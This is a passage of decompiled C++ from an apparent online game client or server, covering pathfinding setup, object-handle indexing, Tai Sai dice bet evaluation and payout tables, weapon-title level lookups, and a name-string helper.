CFindWay::LenMapInit(this, 256, 256); v2 = v31; *(_DWORD *)&v1->DirTbl[0] = bDirTbl; v3 = v32; *(_DWORD *)&v1->DirTbl[4] = v2; *(_DWORD *)&v1->DirTbl[8] = v3; memcpy(v1->XTbl, &dwXTbl, sizeof(v1->XTbl)); memcpy(v1->YTbl, &dwYTbl, sizeof(v1->YTbl)); v1->DirTbl[12] = 9; } //----- (00566AD0) -------------------------------------------------------- void __thiscall CFindWay::CFindWay(CFindWay *this) { this->m_bLoaded = 0; this->m_pBlockInfoByte = 0; CFindWay::Init(this); } //----- (00566AF0) -------------------------------------------------------- unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize() { unsigned int result; // eax@1 int v1; // ecx@4 int v2; // ecx@10 int v3; // ecx@16 result = 0; do { if ( result & 3 ) { v1 = result & 7; if ( (result & 7) == 2 ) { ShineObjectHandleUnion::sohu_Index[result] = 2; } else { if ( v1 == 6 ) { ShineObjectHandleUnion::sohu_Index[result] = 3; } else { if ( v1 == 1 ) { ShineObjectHandleUnion::sohu_Index[result] = 1; } else { v2 = result & 0xF; switch ( v2 ) { case 5: ShineObjectHandleUnion::sohu_Index[result] = 0; break; case 13: ShineObjectHandleUnion::sohu_Index[result] = 4; break; case 11: ShineObjectHandleUnion::sohu_Index[result] = 8; break; default: v3 = result & 0x1F; switch ( v3 ) { case 3: ShineObjectHandleUnion::sohu_Index[result] = 9; break; case 7: ShineObjectHandleUnion::sohu_Index[result] = 6; break; case 15: ShineObjectHandleUnion::sohu_Index[result] = 7; break; default: ShineObjectHandleUnion::sohu_Index[result] = (((v3 != 19) - 1) & 0xB) - 1; break; } break; } } } } } else { ShineObjectHandleUnion::sohu_Index[result] = 5; } ++result; } while ( result < 0x20 ); return result; } //----- (00566BB0) -------------------------------------------------------- char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd) { unsigned __int16 v2; // cx@1 char result; // al@1 v2 = this->sohu_Handle; result = ShineObjectHandleUnion::sohu_Index[v2 & 0x1F]; switch ( result ) { case 5: *hnd = v2 >> 2; break; case 1: case 2: case 3: *hnd = v2 >> 3; break; case 0: case 4: case 8: *hnd = v2 >> 4; break; case 6: case 7: case 9: case 0xA: *hnd = v2 >> 5; break; default: result = -1; break; } return result; } //----- (00566C30) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget) { bool result; // al@3 signed int v4; // esi@4 char v5; // al@5 int v6; // esi@8 int v7; // eax@8 if ( pSource && pTarget ) { v4 = 0; while ( 1 ) { v5 = pSource[v4]; if ( (unsigned __int8)v5 < 1u ) break; if ( (unsigned __int8)v5 > 6u ) break; ++v4; if ( v4 >= 3 ) { *pTarget = 0; v6 = 6 * (unsigned __int8)*pSource - 6; *pTarget = v6; v7 = 6 * (v6 + (unsigned __int8)pSource[1]) - 6; *pTarget = v7; *pTarget = (unsigned __int8)pSource[2] + v7 - 1; return 1; } } result = 0; } else { result = 0; } return result; } //----- (00566C90) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget) { bool result; // al@4 if ( pTarget && nSource >= 0 && nSource < 216 ) { pTarget[2] = nSource % 6 + 1; pTarget[1] = nSource / 6 % 6 + 1; result = 1; *pTarget = nSource / 6 / 6 % 6 + 1; } else { result = 0; } return result; } //----- (00566CD0) -------------------------------------------------------- bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet) { char *v4; // eax@5 signed int v5; // esi@5 char *v6; // ebx@7 char v7; // al@7 int v8; // ecx@17 int v9; // ecx@19 int v10; // ecx@23 int v11; // edi@25 signed int v12; // esi@25 signed int v13; // ecx@26 int v14; // edi@34 signed int v15; // esi@34 signed int v16; // ecx@35 int v17; // edi@43 signed int v18; // esi@43 signed int v19; // ecx@44 int v20; // edi@52 signed int v21; // esi@52 signed int v22; // ecx@53 int v23; // edi@61 signed int v24; // esi@61 signed int v25; // ecx@62 int v26; // edi@70 signed int v27; // esi@70 signed int v28; // ecx@71 int v29; // edi@79 signed int v30; // esi@79 signed int v31; // ecx@80 int v32; // edi@88 signed int v33; // esi@88 signed int v34; // ecx@89 int v35; // edi@97 signed int v36; // esi@97 signed int v37; // ecx@98 int v38; // edi@106 signed int v39; // esi@106 signed int v40; // ecx@107 int v41; // edi@115 signed int v42; // esi@115 signed int v43; // ecx@116 int v44; // edi@124 signed int v45; // esi@124 signed int v46; // ecx@125 int v47; // edi@133 signed int v48; // esi@133 signed int v49; // ecx@134 int v50; // edi@142 signed int v51; // esi@142 signed int v52; // ecx@143 int v53; // edi@151 signed int v54; // esi@151 signed int v55; // ecx@152 int v56; // edx@160 signed int v57; // ecx@160 char *v58; // ecx@165 int v59; // edx@166 signed int v60; // ecx@166 char *v61; // ecx@171 int v62; // edx@172 signed int v63; // ecx@172 char *v64; // ecx@177 int v65; // edx@178 signed int v66; // ecx@178 char *v67; // ecx@183 int v68; // edx@184 signed int v69; // ecx@184 char *v70; // ecx@189 int v71; // edx@190 signed int v72; // ecx@190 char *v73; // ecx@195 int v74; // [sp+0h] [bp-8h]@25 int v75; // [sp+4h] [bp-4h]@25 if ( nDiceVariety < 0 || nDiceVariety >= 216 ) return 0; if ( !pPrizeWinningBet ) return 0; v4 = (char *)pPrizeWinningBet->PrizeWinningBetInfo; v5 = 12; do { pPrizeWinningBet->nPrizeWinningBetCnt = 0; *v4 = 0; v4 += 8; --v5; } while ( v5 ); v6 = (char *)this + 22 * nDiceVariety; v7 = 0; if ( v6[3] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 0; } else { if ( v6[3] != 2 ) goto LABEL_12; pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 1; } v7 = 1; LABEL_12: if ( v6[4] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 2; } else { if ( v6[4] != 2 ) goto LABEL_17; pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 3; } ++v7; LABEL_17: v8 = v6[5]; if ( v8 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v8 + 3; v9 = v6[6]; if ( v9 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v9 + 9; if ( 2 * (v6[6] > 0) - 1 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 16; v10 = v6[7]; if ( v10 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v10 + 13; v11 = 0; v75 = 2; v74 = 1; v12 = 0; do { v13 = 0; while ( v6[v13] != *(&v74 + v12) ) { ++v13; if ( v13 >= 3 ) goto LABEL_31; } ++v11; LABEL_31: ++v12; } while ( v12 < 2 ); if ( v11 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 31; v14 = 0; v74 = 1; v75 = 3; v15 = 0; do { v16 = 0; while ( v6[v16] != *(&v74 + v15) ) { ++v16; if ( v16 >= 3 ) goto LABEL_40; } ++v14; LABEL_40: ++v15; } while ( v15 < 2 ); if ( v14 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 32; v17 = 0; v74 = 1; v75 = 4; v18 = 0; do { v19 = 0; while ( v6[v19] != *(&v74 + v18) ) { ++v19; if ( v19 >= 3 ) goto LABEL_49; } ++v17; LABEL_49: ++v18; } while ( v18 < 2 ); if ( v17 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 33; v20 = 0; v74 = 1; v75 = 5; v21 = 0; do { v22 = 0; while ( v6[v22] != *(&v74 + v21) ) { ++v22; if ( v22 >= 3 ) goto LABEL_58; } ++v20; LABEL_58: ++v21; } while ( v21 < 2 ); if ( v20 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 34; v23 = 0; v74 = 1; v75 = 6; v24 = 0; do { v25 = 0; while ( v6[v25] != *(&v74 + v24) ) { ++v25; if ( v25 >= 3 ) goto LABEL_67; } ++v23; LABEL_67: ++v24; } while ( v24 < 2 ); if ( v23 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 35; v26 = 0; v74 = 2; v75 = 3; v27 = 0; do { v28 = 0; while ( v6[v28] != *(&v74 + v27) ) { ++v28; if ( v28 >= 3 ) goto LABEL_76; } ++v26; LABEL_76: ++v27; } while ( v27 < 2 ); if ( v26 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 36; v29 = 0; v74 = 2; v75 = 4; v30 = 0; do { v31 = 0; while ( v6[v31] != *(&v74 + v30) ) { ++v31; if ( v31 >= 3 ) goto LABEL_85; } ++v29; LABEL_85: ++v30; } while ( v30 < 2 ); if ( v29 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 37; v32 = 0; v74 = 2; v75 = 5; v33 = 0; do { v34 = 0; while ( v6[v34] != *(&v74 + v33) ) { ++v34; if ( v34 >= 3 ) goto LABEL_94; } ++v32; LABEL_94: ++v33; } while ( v33 < 2 ); if ( v32 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 38; v35 = 0; v74 = 2; v75 = 6; v36 = 0; do { v37 = 0; while ( v6[v37] != *(&v74 + v36) ) { ++v37; if ( v37 >= 3 ) goto LABEL_103; } ++v35; LABEL_103: ++v36; } while ( v36 < 2 ); if ( v35 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 39; v38 = 0; v74 = 3; v75 = 4; v39 = 0; do { v40 = 0; while ( v6[v40] != *(&v74 + v39) ) { ++v40; if ( v40 >= 3 ) goto LABEL_112; } ++v38; LABEL_112: ++v39; } while ( v39 < 2 ); if ( v38 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 40; v41 = 0; v74 = 3; v75 = 5; v42 = 0; do { v43 = 0; while ( v6[v43] != *(&v74 + v42) ) { ++v43; if ( v43 >= 3 ) goto LABEL_121; } ++v41; LABEL_121: ++v42; } while ( v42 < 2 ); if ( v41 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 41; v44 = 0; v74 = 3; v75 = 6; v45 = 0; do { v46 = 0; while ( v6[v46] != *(&v74 + v45) ) { ++v46; if ( v46 >= 3 ) goto LABEL_130; } ++v44; LABEL_130: ++v45; } while ( v45 < 2 ); if ( v44 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 42; v47 = 0; v74 = 4; v75 = 5; v48 = 0; do { v49 = 0; while ( v6[v49] != *(&v74 + v48) ) { ++v49; if ( v49 >= 3 ) goto LABEL_139; } ++v47; LABEL_139: ++v48; } while ( v48 < 2 ); if ( v47 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 43; v50 = 0; v74 = 4; v75 = 6; v51 = 0; do { v52 = 0; while ( v6[v52] != *(&v74 + v51) ) { ++v52; if ( v52 >= 3 ) goto LABEL_148; } ++v50; LABEL_148: ++v51; } while ( v51 < 2 ); if ( v50 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 44; v53 = 0; v74 = 5; v75 = 6; v54 = 0; do { v55 = 0; while ( v6[v55] != *(&v74 + v54) ) { ++v55; if ( v55 >= 3 ) goto LABEL_157; } ++v53; LABEL_157: ++v54; } while ( v54 < 2 ); if ( v53 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 45; v56 = 0; v57 = 0; do { if ( v6[v57] == 1 ) ++v56; ++v57; } while ( v57 < 3 ); if ( v56 > 0 ) { v58 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v58[4] = v56; *((_DWORD *)v58 + 2) = 46; ++v7; } v59 = 0; v60 = 0; do { if ( v6[v60] == 2 ) ++v59; ++v60; } while ( v60 < 3 ); if ( v59 > 0 ) { v61 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v61[4] = v59; *((_DWORD *)v61 + 2) = 47; ++v7; } v62 = 0; v63 = 0; do { if ( v6[v63] == 3 ) ++v62; ++v63; } while ( v63 < 3 ); if ( v62 > 0 ) { v64 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v64[4] = v62; *((_DWORD *)v64 + 2) = 48; ++v7; } v65 = 0; v66 = 0; do { if ( v6[v66] == 4 ) ++v65; ++v66; } while ( v66 < 3 ); if ( v65 > 0 ) { v67 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v67[4] = v65; *((_DWORD *)v67 + 2) = 49; ++v7; } v68 = 0; v69 = 0; do { if ( v6[v69] == 5 ) ++v68; ++v69; } while ( v69 < 3 ); if ( v68 > 0 ) { v70 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v70[4] = v68; *((_DWORD *)v70 + 2) = 50; ++v7; } v71 = 0; v72 = 0; do { if ( v6[v72] == 6 ) ++v71; ++v72; } while ( v72 < 3 ); if ( v71 > 0 ) { v73 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v73[4] = v71; *((_DWORD *)v73 + 2) = 51; ++v7; } pPrizeWinningBet->nPrizeWinningBetCnt = v7; return 1; } //----- (00567360) -------------------------------------------------------- void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this) { DiceTaiSaiDividind *v1; // eax@1 signed int v2; // ecx@1 v1 = this; v2 = 0; do { v1->DividendRate[v2] = 0; v1->bIsInitDividendRate[v2++] = 0; } while ( v2 < 15 ); v1->ConertDividendRateTable[2] = 1; v1->ConertDividendRateTable[3] = 1; v1->ConertDividendRateTable[4] = 2; v1->ConertDividendRateTable[5] = 2; v1->ConertDividendRateTable[6] = 2; v1->ConertDividendRateTable[7] = 2; v1->ConertDividendRateTable[8] = 2; v1->ConertDividendRateTable[9] = 2; v1->ConertDividendRateTable[10] = 3; v1->ConertDividendRateTable[11] = 3; v1->ConertDividendRateTable[12] = 3; v1->ConertDividendRateTable[13] = 3; v1->ConertDividendRateTable[14] = 3; v1->ConertDividendRateTable[15] = 3; v1->ConertDividendRateTable[22] = 10; v1->ConertDividendRateTable[23] = 10; v1->ConertDividendRateTable[24] = 10; v1->ConertDividendRateTable[25] = 10; v1->ConertDividendRateTable[0] = 0; v1->ConertDividendRateTable[1] = 0; v1->ConertDividendRateTable[31] = 11; v1->ConertDividendRateTable[32] = 11; v1->ConertDividendRateTable[33] = 11; v1->ConertDividendRateTable[34] = 11; v1->ConertDividendRateTable[35] = 11; v1->ConertDividendRateTable[36] = 11; v1->ConertDividendRateTable[37] = 11; v1->ConertDividendRateTable[38] = 11; v1->ConertDividendRateTable[39] = 11; v1->ConertDividendRateTable[40] = 11; v1->ConertDividendRateTable[41] = 11; v1->ConertDividendRateTable[42] = 11; v1->ConertDividendRateTable[43] = 11; v1->ConertDividendRateTable[44] = 11; v1->ConertDividendRateTable[45] = 11; v1->ConertDividendRateTable[16] = 4; v1->ConertDividendRateTable[17] = 5; v1->ConertDividendRateTable[18] = 6; v1->ConertDividendRateTable[19] = 7; v1->ConertDividendRateTable[20] = 8; v1->ConertDividendRateTable[21] = 9; v1->ConertDividendRateTable[26] = 9; v1->ConertDividendRateTable[27] = 8; v1->ConertDividendRateTable[28] = 7; v1->ConertDividendRateTable[29] = 6; v1->ConertDividendRateTable[30] = 5; v1->ConertDividendRateTable[46] = 14; v1->ConertDividendRateTable[47] = 14; v1->ConertDividendRateTable[48] = 14; v1->ConertDividendRateTable[49] = 14; v1->ConertDividendRateTable[50] = 14; v1->ConertDividendRateTable[51] = 14; } //----- (005674C0) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this) { signed int v1; // eax@1 v1 = 0; while ( this->bIsInitDividendRate[v1] ) { ++v1; if ( v1 >= 15 ) return 1; } return 0; } //----- (005674E0) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate) { signed int v3; // eax@2 if ( (signed int)nDividind < 15 ) { this->DividendRate[nDividind] = nDividindRate; this->bIsInitDividendRate[nDividind] = 1; v3 = 0; while ( this->bIsInitDividendRate[v3] ) { ++v3; if ( v3 >= 15 ) return 1; } } return 0; } //----- (00567520) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney) { DividendRate v4; // eax@2 bool result; // al@4 if ( (signed int)nBet < 52 && (v4 = this->ConertDividendRateTable[nBet], (signed int)v4 < 15) && this->bIsInitDividendRate[v4] ) result = nBetMoney <= 100 * nMaxBetMoney / (unsigned __int64)this->DividendRate[v4]; else result = 0; return result; } //----- (00567580) -------------------------------------------------------- unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney) { DividendRate v4; // eax@2 __int64 v5; // qax@12 if ( (signed int)nBet >= 52 ) goto LABEL_12; v4 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet < 46 || (signed int)nBet > 51 ) { if ( (signed int)v4 >= 15 ) goto LABEL_12; } else { if ( nSingleNum == 1 ) { v4 = 12; } else { if ( nSingleNum == 2 ) { v4 = 13; } else { if ( nSingleNum != 3 ) goto LABEL_12; v4 = 14; } } } if ( this->bIsInitDividendRate[v4] ) return (unsigned __int64)((double)this->DividendRate[v4] * 0.0099999998 * (double)nBetMoney); LABEL_12: LODWORD(v5) = 0; return v5; } //----- (00567600) -------------------------------------------------------- unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum) { DividendRate v3; // eax@2 if ( (signed int)nBet >= 52 ) return 0; v3 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet >= 46 && (signed int)nBet <= 51 ) { if ( nSingleNum == 1 ) { v3 = 12; goto LABEL_11; } if ( nSingleNum == 2 ) { v3 = 13; goto LABEL_11; } if ( nSingleNum == 3 ) { v3 = 14; goto LABEL_11; } return 0; } if ( (signed int)v3 >= 15 ) return 0; LABEL_11: if ( !this->bIsInitDividendRate[v3] ) return 0; return this->DividendRate[v3]; } //----- (00567660) -------------------------------------------------------- void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple) { DiceTaiSai *v2; // edx@1 signed int v3; // edi@1 char *v4; // esi@1 int v5; // eax@7 int v6; // esi@7 signed int v7; // ebp@7 unsigned __int8 v8; // cl@8 unsigned __int8 v9; // dl@8 signed int v10; // edi@8 unsigned __int8 v11; // bl@10 char v12; // cl@18 char v13; // cl@19 char v14; // dl@19 char v15; // cl@22 unsigned __int8 v16; // cl@22 char v17; // bl@24 unsigned __int8 v18; // dl@24 char v19; // cl@25 char v20; // dl@25 unsigned __int8 v21; // cl@26 unsigned __int8 v22; // dl@26 char v23; // cl@27 char v24; // cl@27 char v25; // dl@27 unsigned __int8 v26; // cl@28 unsigned __int8 v27; // dl@28 char v28; // cl@29 char v29; // cl@29 char v30; // dl@29 char v31; // cl@30 char v32; // dl@33 unsigned __int8 v33; // cl@33 unsigned __int8 v34; // dl@40 char v35; // cl@43 char v36; // cl@45 bool v37; // zf@45 int nSameNum; // [sp+10h] [bp-4h]@8 v2 = this; v3 = 0; v4 = &this->m_Dice[0].isEven; do { if ( v4 != (char *)3 && v3 >= 0 && v3 < 216 ) { *(v4 - 1) = v3 % 6 + 1; *(v4 - 2) = v3 / 6 % 6 + 1; *(v4 - 3) = v3 / 6 / 6 % 6 + 1; v2 = this; } *v4 = -1; v4[1] = -1; v4[2] = -1; v4[3] = -1; v4[4] = -1; v4[5] = 3; v4[6] = 0; v4[7] = 0; v4[8] = 0; v4[9] = 0; v4[10] = 0; v4[11] = 0; v4[12] = 3; v4[13] = 0; v4[14] = 0; v4[15] = 0; v4[16] = 0; v4[17] = 0; v4[18] = 0; ++v3; v4 += 22; } while ( v3 < 216 ); v5 = (int)&v2->m_Dice[0].Dice.nNumber[2]; v6 = (int)v2->m_Dice[0].nDominoNum; v7 = 216; do { v8 = *(_BYTE *)(v5 - 1); v9 = *(_BYTE *)(v5 - 2); v10 = 0; nSameNum = 0; if ( v9 == v8 ) { nSameNum = v9; v10 = 1; } v11 = *(_BYTE *)v5; if ( v8 == *(_BYTE *)v5 ) { nSameNum = v8; ++v10; } if ( v11 == v9 ) { nSameNum = v11; ++v10; } if ( v10 == 1 ) { *(_BYTE *)(v5 + 3) = nSameNum; *(_BYTE *)(v5 + 13) = 2; *(_BYTE *)(v5 + 6) = 1; } else { if ( v10 == 3 ) { *(_BYTE *)(v5 + 4) = nSameNum; *(_BYTE *)(v5 + 13) = 1; *(_BYTE *)(v5 + 6) = 0; } } v12 = *(_BYTE *)(v5 + 6); if ( v12 == 1 ) { v13 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v13; if ( v13 == v14 ) { *(_BYTE *)(v5 + 8) = *(_BYTE *)v5; goto LABEL_24; } } else { if ( v12 != 3 ) goto LABEL_24; v15 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v15; *(_BYTE *)(v5 + 9) = v15; v16 = *(_BYTE *)v5; *(_BYTE *)(v5 + 10) = *(_BYTE *)v5; *(_BYTE *)(v5 + 11) = v14; *(_BYTE *)(v5 + 12) = v16; } *(_BYTE *)(v5 + 8) = v14; LABEL_24: v17 = *(_BYTE *)v6; v18 = *(_BYTE *)(v6 + 1); if ( *(_BYTE *)v6 > v18 ) { *(_BYTE *)v6 = v17 ^ v18; v19 = v18 ^ v17 ^ v18; v20 = v19 ^ *(_BYTE *)v6; *(_BYTE *)(v6 + 1) = v19; *(_BYTE *)v6 = v20; } v21 = *(_BYTE *)(v6 + 2); v22 = *(_BYTE *)(v6 + 3); if ( v21 > v22 ) { v23 = v22 ^ v21; *(_BYTE *)(v6 + 2) = v23; v24 = v22 ^ v23; v25 = v24 ^ *(_BYTE *)(v6 + 2); *(_BYTE *)(v6 + 3) = v24; *(_BYTE *)(v6 + 2) = v25; } v26 = *(_BYTE *)(v6 + 4); v27 = *(_BYTE *)(v6 + 5); if ( v26 > v27 ) { v28 = v27 ^ v26; *(_BYTE *)(v6 + 4) = v28; v29 = v27 ^ v28; v30 = v29 ^ *(_BYTE *)(v6 + 4); *(_BYTE *)(v6 + 5) = v29; *(_BYTE *)(v6 + 4) = v30; } v31 = *(_BYTE *)(v5 + 13); if ( v31 == 1 ) { *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); *(_BYTE *)(v5 + 15) = 3; goto LABEL_43; } if ( v31 != 2 ) { if ( v31 != 3 ) goto LABEL_43; v33 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); v34 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 1; *(_BYTE *)(v5 + 18) = v34; *(_BYTE *)(v5 + 19) = 1; goto LABEL_41; } v32 = *(_BYTE *)(v5 - 1); v33 = *(_BYTE *)(v5 - 2); if ( v33 == v32 ) { *(_BYTE *)(v5 + 14) = v33; v33 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 2; LABEL_41: *(_BYTE *)(v5 + 16) = v33; goto LABEL_42; } if ( v33 != *(_BYTE *)v5 ) { if ( v32 != *(_BYTE *)v5 ) goto LABEL_43; *(_BYTE *)(v5 + 14) = v32; *(_BYTE *)(v5 + 15) = 2; goto LABEL_41; } *(_BYTE *)(v5 + 14) = v33; *(_BYTE *)(v5 + 15) = 2; *(_BYTE *)(v5 + 16) = v32; LABEL_42: *(_BYTE *)(v5 + 17) = 1; LABEL_43: v35 = *(_BYTE *)(v5 + 4); if ( !NoSumTriple ) { if ( v35 > 0 ) goto LABEL_55; LABEL_45: v36 = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); v37 = (v36 & 0x80000001) == 0; *(_BYTE *)(v5 + 5) = v36; if ( (v36 & 0x80000001) < 0 ) v37 = (((v36 & 0x80000001) - 1) | 0xFFFFFFFE) == -1; *(_BYTE *)(v5 + 1) = !v37 + 1; if ( v36 < 11 || v36 > 17 ) *(_BYTE *)(v5 + 2) = 2; else *(_BYTE *)(v5 + 2) = 1; goto LABEL_55; } if ( v35 <= 0 ) goto LABEL_45; if ( nSameNum != 1 && nSameNum != 6 ) *(_BYTE *)(v5 + 5) = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); LABEL_55: v6 += 22; v5 += 22; --v7; } while ( v7 ); } //----- (005678F0) -------------------------------------------------------- void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; CDataReader::CDataReader(&this->m_WeaponTitleData); v1->m_ppWTDArray = 0; v1->m_MaxArrayIndex = 0; } //----- (00567910) -------------------------------------------------------- int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CWeaponTitle *v4; // esi@1 int result; // eax@3 CDataReader::HEAD *v6; // eax@4 unsigned int v7; // ebx@5 unsigned int v8; // edi@7 void *v9; // eax@8 unsigned __int8 v10; // cl@8 int v11; // eax@9 unsigned int v12; // eax@12 void *v13; // eax@13 unsigned int v14; // edx@13 int v15; // edi@13 int i; // ecx@13 unsigned int v17; // edi@16 void *v18; // eax@17 v4 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v4->m_ppWTDArray = 0; } v4->m_MaxArrayIndex = 0; result = CDataReader::Read(&v4->m_WeaponTitleData, pFN, nVersionKey, nStructSize); if ( result ) { v6 = v4->m_WeaponTitleData.m_pHead; if ( v6 ) v7 = v6->nNumOfRecord; else v7 = 0; v8 = 0; if ( v7 ) { while ( 1 ) { v9 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v8); v10 = *((_BYTE *)v9 + 2); if ( v10 >= 0xAu ) break; v11 = v10 + 10 * *(_WORD *)v9; if ( v4->m_MaxArrayIndex <= v11 ) v4->m_MaxArrayIndex = v11 + 1; ++v8; if ( v8 >= v7 ) goto LABEL_12; } result = 0; } else { LABEL_12: v12 = v4->m_MaxArrayIndex; if ( v12 ) { v13 = operator new__(4 * v12); v14 = 4 * v4->m_MaxArrayIndex; v4->m_ppWTDArray = (WEAPON_TITLE_DATA **)v13; memset(v13, 0, 4 * (v14 >> 2)); v15 = (int)((char *)v13 + 4 * (v14 >> 2)); for ( i = v14 & 3; i; --i ) *(_BYTE *)v15++ = 0; v17 = 0; if ( v7 ) { do { v18 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v17++); v4->m_ppWTDArray[*((_BYTE *)v18 + 2) + 10 * *(_WORD *)v18] = (WEAPON_TITLE_DATA *)v18; } while ( v17 < v7 ); } } result = 1; } } return result; } //----- (00567A00) -------------------------------------------------------- unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount) { unsigned int v3; // ebx@1 int v4; // esi@1 unsigned int result; // eax@2 int v6; // edi@3 WEAPON_TITLE_DATA *v7; // edx@5 v3 = this->m_MaxArrayIndex; v4 = 10 * MobID; if ( v4 < v3 ) { result = 0; v6 = 10 * MobID; do { if ( result + v4 >= v3 ) break; v7 = this->m_ppWTDArray[v6]; if ( !v7 ) break; if ( MobKillCount < v7->MobKillCount ) return result; ++result; ++v6; } while ( result < 0xA ); --result; } else { result = -1; } return result; } //----- (00567A60) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, unsigned int *pLevel) { unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // eax@2 WEAPON_TITLE_DATA *result; // eax@3 v4 = CWeaponTitle::GetLevel(this, MobID, MobKillCount); *pLevel = v4; if ( v4 != -1 && (v6 = v4 + 10 * MobID, (unsigned int)v6 < *(_DWORD *)(v5 + 64)) ) result = *(WEAPON_TITLE_DATA **)(*(_DWORD *)(v5 + 60) + 4 * v6); else result = 0; return result; } //----- (00567AA0) -------------------------------------------------------- void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v1->m_ppWTDArray = 0; } v1->m_MaxArrayIndex = 0; CDataReader::_CDataReader(&v1->m_WeaponTitleData); } //----- (00567AD0) -------------------------------------------------------- bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName) { char *v2; // esi@1 signed int v3; // edi@5 bool result; // al@9 v2 = buf; if ( buf && deletedCharName ) { if ( buf != deletedCharName ) _mbsnbcpy(buf, deletedCharName, 0x10u); v3 = 16; do { if ( !_mbsnbcmp(v2, (const char *)"~", 1u) ) *v2 = 0; ++v2; --v3; } while ( v3 ); result = 1; } else { result = 0; } return result; } //----- (00567B20) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index) { 